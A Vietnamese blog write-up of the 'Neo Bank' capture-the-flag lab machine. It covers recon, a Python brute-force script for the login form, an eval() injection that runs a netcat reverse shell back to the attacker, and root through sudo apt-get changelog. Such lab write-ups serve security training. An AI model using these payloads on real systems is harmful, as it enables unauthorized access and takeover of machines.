Advertisement

Responsive Advertisement

Neo Bank

 

Mô tả:

Created and tested on Virtual Box

Hints : ^[0-9]

Contact : alienum#1033 (discord) or @AL1ENUM (twitter)

This works better with VirtualBox rather than VMware

Download:

Khai thác:

Bước 1: Thu thập dữ liệu thông tin

Sử dụng arp-scan và nmap để dò quét thông tin đối tượng tấn công

Screenshot_27.png

Thu được ip là 192.168.93.138 là ip victim, port mở ở đây là 5000 chạy dịch vụ web

Mình cho vào website thấy đây là web login

Screenshot_1.png

Nhìn không có gì đặc biệt cả kể cả kiểm tra mã nguồn, mình tiến hành dò quét đường dẫn khác sử dụng dirsearch

Screenshot_2.png

Thu được đường dẫn khác /pr, /opt, /withdraw mình truy cập thử thì ra trang trắng không có gì cả bởi vì nó chả gì đặc biệt trừ khi mình phải đăng nhập thành công.

Mình thử gửi một số yêu cầu đăng nhập và kiểm tra bằng công cụ phát triển của trình duyệt thấy được cấu trúc dữ liệu khi được gửi lên hệ thống để đăng nhập

Screenshot_28.png

Dạng truyền POST:  email=…&pin=….

Với thông tin này mình tìm chính xác thông tin bao gồm email và mã pin để đăng nhập. Mình dựa vào gợi ý của đầu bài là

Hints : ^[0-9]

Mình tiến hành lọc số trong tệp tin rockyout.txt lưu thành một tệp là pins.txt

Screenshot_3.png

Tiếp đó mình sẽ thử tìm đường dẫn url liên quan email dạng JSON, mình lọc từ tệp directory-list-2-3-big.txt

Screenshot_29.png

Thực hiện dò quét phát hiện điền dẫn /email_list

Screenshot_5.png

Mình truy cập thấy rất nhiều email, mình liền copy về một tệp có tên làm email.txt

Screenshot_6.png

Screenshot_7.png

Như vậy đã đủ thông tin để brute force mình sang bước 2 để viết code tấn công.

Bước 2: Viêt code khai thác

Mình dựa vào cách viết gửi request POST trong python 3 để viết

Sử dụng thêm việc trả trạng thái status trong hàm request

import requests
import sys

url = 'http://192.168.93.138:5000/login'
with open('email.txt') as mail:
	for e in mail:
		with open('pins.txt') as pins:
			for p in pins: 
				user = {"email":e.strip(),"pin":p.strip()}
				x = requests.post(url, data = user) 
				print(x.status_code)
				if len(x.cookies) == 1:
					print("Email : " + e.strip())
					print("Pins : " + p.strip())
					sys.exit()

Tiến hành chạy code thu được thông tin đăng nhập

Screenshot_9.png

Mình tiến hành đăng nhập đến trang nhập otp, mình sửa đường dẫn thành /pr để lấy mã QR quét lấy mã OTP

Screenshot_10.png

Thật không may là mình dùng phần mềm  decode OTP online không ăn thua, và có một gửi ý dùng app google auth quét là ra

Screenshot_11.png

Mình đăng nhập vào được trang sau

Screenshot_12.png

Mình chuyển bước tiếp theo khai thác thiết lập kết nối

Bước 3: Khai thác thiết lập kết nối

Mình thử nhập số tiền rút thử

Nếu nhiều hơn số tiền hiện có thì ví tăng tiền

Screenshot_13.png

Screenshot_14.png

Nếu ít hơn số tiền mình rút thì ví bị âm

Screenshot_15.png

Mình xác định được phần input này có lỗi có thể khai thác, mình tìm mã khai thác reveshell bằng python thử nghiệm

Vipul Chaskar’s Blog: Exploiting eval() function in Python

__import__(‘os’).system(‘nc your_ip port -e /bin/sh’)

Screenshot_18.png

Đồng thời trên máy kali mình mở cổng lắng nghe kết nối

Screenshot_19.png

Kiểm tra thư mục web có thư mục ẩn …/Screenshot_20.png

Mình truy cập vào thư mục đó thấy tệp python là newUser.py mình mở ra thấy thông tin database

Screenshot_21.png

Mình dùng thông tin này login database của hệ thống lấy được thông tin user

Screenshot_22.png

Dùng nó để đăng nhập và đoc cờ đầu thôi nào

Screenshot_23.png

Bước 4: Leo thăng

Thử dùng lệnh sudo -l

Screenshot_24.png

Phát hiện apt-get dùng không cần pass mình lên GTFObins để tìm mã khai thác:

sudo apt-get changelog apt
!/bin/sh

Mình tiến hành thực hiện mã này và thu được

Screenshot_25.png

Thành công leo thăng mình sẽ tiến hành đọc cờ cuối thôi :mrgreen: :mrgreen: :mrgreen:

Screenshot_26.png

Post a Comment

0 Comments